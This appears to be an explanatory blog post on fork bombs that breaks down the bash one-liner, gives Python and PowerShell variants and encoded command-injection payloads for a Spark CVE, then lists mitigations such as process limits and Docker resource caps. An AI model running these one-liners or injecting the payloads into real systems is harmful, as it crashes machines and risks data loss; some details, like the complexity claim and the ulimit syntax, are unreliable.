Fork Bombs

Fork Bombs

·

3 min read

I was browsing r/ProgrammerHumor when I came across this post: :(){ :|:& };:. This is a fork bomb in Unix/Bash shell command.

This logic will continually replicate itself via recursion until the system is out of resources (either CPU or memory depending on your hardware) and locking up the system causing denial-of-service (DoS). The time complexity is O(n^2), where n is the depth of recursion. Resulting in having to hard boot/cycle the hardware.

I've likely done this unintentionally with a PowerShell script in the past.

Disclaimer: This article is for educational purposes. Running this on a system could result in hardware failure and/or loss of data.

Breakdown

This code is defining a function :, which then pipes | itself to a background process of itself &.

:() {  # Define the function as :
  :|: &  # Call itself and pipe results to itself & keeps that process open.
};
:  # Start the recursion.

In POSIX-compliant shells, the : is not a valid function name, but you could use an underscore or just a letter : _() { _|_& };_ or x() { x|x& };x

Vulnerable web applications and REST APIs that would allow for command injection like in CVE-2022-33891 for Spark, the payloads could be url-encoded x%28%29%7B%20x%7Cx%20%26%20%7D%3Bx or base-encoded (base-64 in this case) with eCgpeyB4fHggJiB9O3g=.

This is a shell script to generate a fork bomb string or run it:

Since the forking is quadratic, the system will run out of resources quickly, but if you want to shorten the fuse, you could start parallel processes with a different base: O(n^m).

Other Languages

Check out aaronyank/fork-bomb for other examples in different languages.

Notably, with Python:

import os
while 1:
    os.fork()

Below, a PowerShell process is piped into another Powershell process in an infinite loop:

for(){PS|SAPS}

Note that in both these examples, it's iteratively creating the new processes linearly ad infinitum, but it will still quickly use up resources. Here is a more is a quadratic example:

$x={$x|&$x};&$x

There are online emulators of different shells, interpreters, and compilers. Some that use containers and noted mitigations below will handle these fork bombs better than others.

Mitigation

On Linux and Unix, you can set a system-wide or per-user restriction on the number of maximum threads to use:

kernel.threads-max = 10000

Or via the /etc/security/limits.conf. See the appropriate documentation for your distro.

sudo vim /etc/security/limits.conf

Limit the number of processes for a specific user:

systemctl [--runtime] set-property user-$UID.slice TasksMax=2500

Or

ulimit=200

By default, the system processes in MacOS are already limited. You could increase the limit, similar to how you would set the maxfiles limit to run some Spark logic:

sudo launchctl limit maxproc

Or with /etc/launchd.conf

sudo vim /etc/launchd.conf
limit maxproc 512 1024

In Windows, it's a bit more tricky.

  1. You can prevent users from creating child processes by group policy or possibly by User Account Control (UAC) level.

  2. This StackOverflow post might yield an option for limiting child processes. Just decrease the number instead of increasing the limits, but requires registry changes.

  3. Some sort of proactive monitoring with a service, but it's tricky since trigger time is system dependent and if you're late killing the parent process, you're crashing.

For containers, you can limit the resources it uses when starting them explicitly with:

docker run --name <container_name> --cpu-period=50000 --cpu-quota=25000 --memory=512m <image_name>

Or with docker-compose.yaml:

version: '3'

services:
  my-service:
    image: my-image
    cpu_period: 50000
    cpu_quota: 25000
    memory: 512m

Without these limits running a fork bomb within a container will impact your host.

Testing

You can try testing these fork bombs safely within the target container from my hacklab repository.

References